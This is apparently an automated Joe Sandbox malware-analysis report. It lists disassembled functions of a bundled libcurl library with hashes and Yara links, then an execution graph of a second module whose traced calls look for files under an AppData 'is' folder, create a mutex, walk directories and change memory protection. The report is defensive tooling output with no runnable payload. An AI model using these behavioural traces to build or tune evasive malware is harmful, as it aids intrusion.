                                                                                                                                      • Couldn't find host %s in the .netrc file; using defaults, xrefs: 6BD942FD
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_url_set
                                                                                                                                      • String ID: Couldn't find host %s in the .netrc file; using defaults
                                                                                                                                      • API String ID: 1103260265-3983049644
                                                                                                                                      • Opcode ID: 30227c221e3639c98dec3895d0285b6b70968a9921b7d609bfce129b6161e098
                                                                                                                                      • Instruction ID: 95b7180c1b6a47abb4de2e2df8329f9796a31d07bc8d52124b2b38e12fd7812d
                                                                                                                                      • Opcode Fuzzy Hash: 30227c221e3639c98dec3895d0285b6b70968a9921b7d609bfce129b6161e098
                                                                                                                                      • Instruction Fuzzy Hash: 9C61F771A00245EBEF219F78E8047D97BE0AF06325F0401E9EC789F292D37AA564DF61
                                                                                                                                      Function 6BD86020 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_strnequal.LIBCURL(Set-Cookie:,00000000,0000000B,?,?,?,00000000), ref: 6BD8615B
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_strnequal
                                                                                                                                      • String ID: Set-Cookie:$none
                                                                                                                                      • API String ID: 482932555-3629594122
                                                                                                                                      • Opcode ID: 1a11bbfe753a91122a328ffc4895069d53dc85c1d353a9093d45fdab1fe2af24
                                                                                                                                      • Instruction ID: f8266451cee025ad3dcafdb766d1acc2b531f0a5911d51dd53e9c1847477fdb3
                                                                                                                                      • Opcode Fuzzy Hash: 1a11bbfe753a91122a328ffc4895069d53dc85c1d353a9093d45fdab1fe2af24
                                                                                                                                      • Instruction Fuzzy Hash: E5512A71914345AAEB024B749C467AE3BA55F0237EF0400F8FD959E283EB6BC54AD372
                                                                                                                                      Function 6BD81BE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000080,%ld%s,?,?), ref: 6BD81C85
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000080,%ld%s,?,?), ref: 6BD81D46
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintf
                                                                                                                                      • String ID: %ld%s
                                                                                                                                      • API String ID: 1809024409-3503459407
                                                                                                                                      • Opcode ID: 6f6421aeaa8eedf67e0b76ed40891522ecb46be80eb1d063873a8ce24329697e
                                                                                                                                      • Instruction ID: d92a174446656befd65b8e23515aff7d1fd28db0f1ec3b36e14888adb74d13d7
                                                                                                                                      • Opcode Fuzzy Hash: 6f6421aeaa8eedf67e0b76ed40891522ecb46be80eb1d063873a8ce24329697e
                                                                                                                                      • Instruction Fuzzy Hash: 91510574800614ABDB11CF24CC81BE6B7F8BF09329F00459DE9AD8F241D779BA49CBA0
                                                                                                                                      Function 6BD98840 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BD987E0: curl_msnprintf.LIBCURL(?,00000007,:%u,?,00000000,?,?,?,6BD97CB2,?,?,?,00000106,?,00000000), ref: 6BD98830
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000007,:%u,?,0000002A,?,?,?,?,?,00000000,00000000), ref: 6BD988CF
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintf
                                                                                                                                      • String ID: :%u$Hostname in DNS cache was stale, zapped
                                                                                                                                      • API String ID: 1809024409-2924501231
                                                                                                                                      • Opcode ID: 809c93d02083407aca601fff5c73a23527a86eb1b1946651bff64b919518ae3b
                                                                                                                                      • Instruction ID: eaeb0c118380d119e00b90e56e449ca9d20fb5b427b328eee8457d4c54bf8cc6
                                                                                                                                      • Opcode Fuzzy Hash: 809c93d02083407aca601fff5c73a23527a86eb1b1946651bff64b919518ae3b
                                                                                                                                      • Instruction Fuzzy Hash: 59412830A00209ABCF18EF34DC41AEAB778EF45764F0042D9D85A5B101DB37AB55DFA1
                                                                                                                                      Function 6BD94080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BDBE5D0: QueryPerformanceCounter.KERNEL32(6BDAF03B,?,6BD8669E,6BDAF03B,?,?,?,?), ref: 6BDBE5E5
                                                                                                                                        • Part of subcall function 6BDBE5D0: __alldvrm.LIBCMT ref: 6BDBE5FE
                                                                                                                                        • Part of subcall function 6BDBE5D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDBE627
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BD940E3
                                                                                                                                      Strings
                                                                                                                                      • Too old connection (%ld seconds), disconnect it, xrefs: 6BD940FF
                                                                                                                                      • Connection %ld seems to be dead!, xrefs: 6BD9415B
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CounterPerformanceQuery__alldvrm
                                                                                                                                      • String ID: Connection %ld seems to be dead!$Too old connection (%ld seconds), disconnect it
                                                                                                                                      • API String ID: 3283211967-2324667105
                                                                                                                                      • Opcode ID: 1926d6ec507a1556da0859a6711f31b274adae6d6d2d616d7d42d89d6f34cdd8
                                                                                                                                      • Instruction ID: 7c0878c8a62faffbccb18299a9a5743b986965df5ad3b555d1bcf0c7b1c68a9f
                                                                                                                                      • Opcode Fuzzy Hash: 1926d6ec507a1556da0859a6711f31b274adae6d6d2d616d7d42d89d6f34cdd8
                                                                                                                                      • Instruction Fuzzy Hash: 69313B71E00205ABE7106B389C43B96B764AB55338F504694F83C7F283E77965A587E1
                                                                                                                                      Function 6BDADB40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_slist_append.LIBCURL(00000000,Content-Type: application/dns-message,0000013C,00000000,00000440,?,00000000,00000000,?,6BD98617,00000000,00000000,?,00000000), ref: 6BDADB87
                                                                                                                                      • curl_slist_free_all.LIBCURL(?,?,?,?,?,?,?,?,?,?), ref: 6BDADC0D
                                                                                                                                      Strings
                                                                                                                                      • Content-Type: application/dns-message, xrefs: 6BDADB74
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_slist_appendcurl_slist_free_all
                                                                                                                                      • String ID: Content-Type: application/dns-message
                                                                                                                                      • API String ID: 2220803400-4173715026
                                                                                                                                      • Opcode ID: 61c3d65b074f554da871fa93fe463da07bdd745ac407d9154f5bec3dc97f004f
                                                                                                                                      • Instruction ID: 4487fdd2ea6067deb0c6bf8193b24dc766d57969c4b1f79c884d012d16caf01b
                                                                                                                                      • Opcode Fuzzy Hash: 61c3d65b074f554da871fa93fe463da07bdd745ac407d9154f5bec3dc97f004f
                                                                                                                                      • Instruction Fuzzy Hash: 6021D6B6940B04ABE7118F70EC41BD7B7A8FF09369F044819EA1E9B291D375A610DBA0
                                                                                                                                      Function 6BD8C540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_easy_strerror.LIBCURL(00000000), ref: 6BD8C579
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_easy_strerror
                                                                                                                                      • String ID: Failure sending QUIT command: %s$QUIT
                                                                                                                                      • API String ID: 1399792982-1162443993
                                                                                                                                      • Opcode ID: 00886747de57ac85527ce2a2e62d4a02f10585e38badebd4f600cd60ca0f782f
                                                                                                                                      • Instruction ID: ad3db0a24319c7a9c09c7f9e25530929a05b425388b0c11f94909224f76247ad
                                                                                                                                      • Opcode Fuzzy Hash: 00886747de57ac85527ce2a2e62d4a02f10585e38badebd4f600cd60ca0f782f
                                                                                                                                      • Instruction Fuzzy Hash: A021D870504780EBEB114BB4C805B86BFE4AF0532DF0802ADF55E5D151DBBDB154DBA1
                                                                                                                                      Function 6BD8CA30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _strstr
                                                                                                                                      • String ID: ;type=
                                                                                                                                      • API String ID: 2882301372-3507045495
                                                                                                                                      • Opcode ID: 214ef281012206c1c09ffb064392d96a0159d0ac413afaad2c8cf0cfe971fe54
                                                                                                                                      • Instruction ID: 9b94fcfeffa7c091a849673da809e2796268807a56690eba939c450429a2ec73
                                                                                                                                      • Opcode Fuzzy Hash: 214ef281012206c1c09ffb064392d96a0159d0ac413afaad2c8cf0cfe971fe54
                                                                                                                                      • Instruction Fuzzy Hash: AD11E6B1544341DED710CF68E8447D2BFE4AB01379F08027AE8AD8F281D77EA55987B5
                                                                                                                                      Function 6BD82840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: htons
                                                                                                                                      • String ID: V4u
                                                                                                                                      • API String ID: 4207154920-3626706224
                                                                                                                                      • Opcode ID: 1431ac6a34b87afda1868efe4d7e7a6be3c08a336410393c73c42977e61cca24
                                                                                                                                      • Instruction ID: fe3f3fb032a924c4f91ee1d7d02c9c1271b8ae3adb4deaf7e1ae37681e109573
                                                                                                                                      • Opcode Fuzzy Hash: 1431ac6a34b87afda1868efe4d7e7a6be3c08a336410393c73c42977e61cca24
                                                                                                                                      • Instruction Fuzzy Hash: 6E118E7A5402259AEB048F6AE806BFA77FCEF4A725F000056F998DF280E374E851D770
                                                                                                                                      Function 6BD833D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • getsockopt.WS2_32(00004020,0000FFFF,00001001,00000000,00000004), ref: 6BD8343B
                                                                                                                                      • setsockopt.WS2_32(00004020,0000FFFF,00001001,00004020,00000004), ref: 6BD83460
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: getsockoptsetsockopt
                                                                                                                                      • String ID: @
                                                                                                                                      • API String ID: 194641219-2726393805
                                                                                                                                      • Opcode ID: 0c29bc8071e1ead463111c100d007fc3d785234b5fee05c68903059275d2db00
                                                                                                                                      • Instruction ID: 03e56e2dd980f5c985beb5171549bc6ba9684c7115e3a680c77ef7d965961f53
                                                                                                                                      • Opcode Fuzzy Hash: 0c29bc8071e1ead463111c100d007fc3d785234b5fee05c68903059275d2db00
                                                                                                                                      • Instruction Fuzzy Hash: 4101B97094420AFBFF11CF94DC86B9D77B8EB01725F0041E4FA08AE1C0D7BA96549B41
                                                                                                                                      Function 6BD9D8C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_strnequal.LIBCURL(Digest,6BD9B74C,00000006,00000DD0,?,?,6BD9B74C), ref: 6BD9D8E6
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_strnequal
                                                                                                                                      • String ID: Digest$t!
                                                                                                                                      • API String ID: 482932555-3305821177
                                                                                                                                      • Opcode ID: 3da76247945dce74154355fe4f974e0fda7f67f41a3ecdf7f1bd76b4292694c3
                                                                                                                                      • Instruction ID: 5b96b3becdf0fe68ff3dbe60b5e8e900c2e954b64cc6dc53d491bd84d76d9b6e
                                                                                                                                      • Opcode Fuzzy Hash: 3da76247945dce74154355fe4f974e0fda7f67f41a3ecdf7f1bd76b4292694c3
                                                                                                                                      • Instruction Fuzzy Hash: EFF0F653A4025466DB006F69BC01B9B779D4F92279F0800B2FCAC9F242EA2DE615D7F1

                                                                                                                                      Execution Graph

                                                                                                                                      Execution Coverage:0.5%
                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                      Signature Coverage:10%
                                                                                                                                      Total number of Nodes:50
                                                                                                                                      Total number of Limit Nodes:6
                                                                                                                                      execution_graph 19524 7064a86 19525 7064ae0 CreateFileA 19524->19525 19526 7064a91 19524->19526 19526->19525 19527 7064a9a StrRStrIA 19526->19527 19527->19525 19528 7064aae StrRStrIA 19527->19528 19529 7064ad6 19528->19529 19530 7064ac2 StrRStrIA 19528->19530 19530->19525 19530->19529 19531 7064cc6 StrRStrIA 19532 7064cd3 lstrlen 19531->19532 19533 7064d0d CreateMutexA 19531->19533 19535 7064ce3 19532->19535 19534 7064d1e 19533->19534 19535->19533 19539 7064cf1 19535->19539 19542 7064cfe wsprintfA 19539->19542 19543 7064d0d CreateMutexA 19542->19543 19544 7064cf9 19543->19544 19545 7064b00 19546 7064b5a CreateFileW 19545->19546 19547 7064b0b 19545->19547 19547->19546 19548 7064b14 StrRStrIW 19547->19548 19548->19546 19549 7064b28 StrRStrIW 19548->19549 19550 7064b50 19549->19550 19551 7064b3c StrRStrIW 19549->19551 19551->19546 19551->19550 19552 7064d61 lstrcmp 19553 7064d6c 19552->19553 19560 70642d6 SetErrorMode 19553->19560 19555 7064d87 19556 7064dee lstrlen 19555->19556 19557 7064e1b 19556->19557 19561 7064e35 wsprintfA 19557->19561 19559 7064e30 19560->19555 19561->19559 19562 7064938 19563 7064940 19562->19563 19565 7064951 19563->19565 19566 7064953 19563->19566 19568 706496e 19566->19568 19570 7064a5f 19566->19570 19567 7064993 VirtualAlloc 19569 70649c0 19567->19569 19567->19570 19568->19567 19568->19570 19569->19570 19571 7064a0e VirtualProtect VirtualProtect 19569->19571 19570->19563 19571->19570 19572 7064149 lstrcat FindFirstFileA 19574 7064167 19572->19574 19573 70641bb FindNextFileA 19573->19574 19576 70641cc FindClose 19573->19576 19574->19573 19577 7064192 lstrcat 19574->19577 19578 7064181 lstrcmp 19574->19578 19577->19574 19579 70641bb FindNextFileA 19578->19579 19582 7064167 19578->19582 19580 70641cc FindClose 19579->19580 19579->19582 19580->19574 19581 7064192 lstrcat 19581->19582 19582->19579 19582->19581

                                                                                                                                      Executed Functions

                                                                                                                                      Function 07064149 Relevance: 7.6, APIs: 5, Instructions: 51filestringCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      APIs
                                                                                                                                      • lstrcat.KERNEL32(?,07064145), ref: 0706414A
                                                                                                                                      • FindFirstFileA.KERNEL32(?,?), ref: 0706415E
                                                                                                                                        • Part of subcall function 0706416E: lstrcmp.KERNEL32(?,0706416C), ref: 0706416F
                                                                                                                                        • Part of subcall function 0706416E: lstrcat.KERNEL32(?,?), ref: 0706419D
                                                                                                                                        • Part of subcall function 0706416E: FindNextFileA.KERNELBASE(?,?), ref: 070641C2
                                                                                                                                        • Part of subcall function 0706416E: FindClose.KERNEL32(?), ref: 070641DE
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Find$Filelstrcat$CloseFirstNextlstrcmp
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1879274390-0
                                                                                                                                      • Opcode ID: 3a9090fcec5c47c2a405209d50b1541a3ae01d8ff015fdf5eaa2864663106878
                                                                                                                                      • Instruction ID: d95239c816d9585cb69850a26a7dc4de04fd2f578da8490abd15831ca21bb121
                                                                                                                                      • Opcode Fuzzy Hash: 3a9090fcec5c47c2a405209d50b1541a3ae01d8ff015fdf5eaa2864663106878
                                                                                                                                      • Instruction Fuzzy Hash: BE01D6F25042419FCB21AF34DC5CA8A7FE8EF15341F0246A1F106D5A05DA38C620CB21
                                                                                                                                      Function 07064A86 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41fileCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      APIs
                                                                                                                                      • StrRStrIA.SHELL32(?,00000000,07062DE0), ref: 07064AA4
                                                                                                                                      • StrRStrIA.SHELL32(?,00000000,C:\Users\user\AppData\Roaming\is\), ref: 07064AB8
                                                                                                                                      • StrRStrIA.SHELL32(?,00000000,\log\), ref: 07064ACC
                                                                                                                                      • CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 07064AF5
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CreateFile
                                                                                                                                      • String ID: C:\Users\user\AppData\Roaming\is\$\log\
                                                                                                                                      • API String ID: 823142352-2221383372
                                                                                                                                      • Opcode ID: 4f803f5dc8ea03a1423b2f3c71026ff149331c67f036ee6f7b05b6947cc37a9a
                                                                                                                                      • Instruction ID: 18b8127ffc02e9ac7c144abeb00e157daf8b11326c44d8e6359e79fd5d93cc88
                                                                                                                                      • Opcode Fuzzy Hash: 4f803f5dc8ea03a1423b2f3c71026ff149331c67f036ee6f7b05b6947cc37a9a
                                                                                                                                      • Instruction Fuzzy Hash: 77016DB620024ABBCF614F54DC5AF8A3FA5BF08794F008214F966A80E0D77AD260EB44
                                                                                                                                      Function 07064B00 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41fileCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 7 7064b00-7064b09 8 7064b5a-7064b77 CreateFileW 7->8 9 7064b0b-7064b12 7->9 9->8 10 7064b14-7064b26 StrRStrIW 9->10 10->8 11 7064b28-7064b3a StrRStrIW 10->11 12 7064b50-7064b57 11->12 13 7064b3c-7064b4e StrRStrIW 11->13 13->8 13->12
                                                                                                                                      APIs
                                                                                                                                      • StrRStrIW.SHELL32(?,00000000,07062DE8), ref: 07064B1E
                                                                                                                                      • StrRStrIW.SHELL32(?,00000000,C:\Users\user\AppData\Roaming\is\), ref: 07064B32
                                                                                                                                      • StrRStrIW.SHELL32(?,00000000,.log), ref: 07064B46
                                                                                                                                      • CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 07064B6F
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
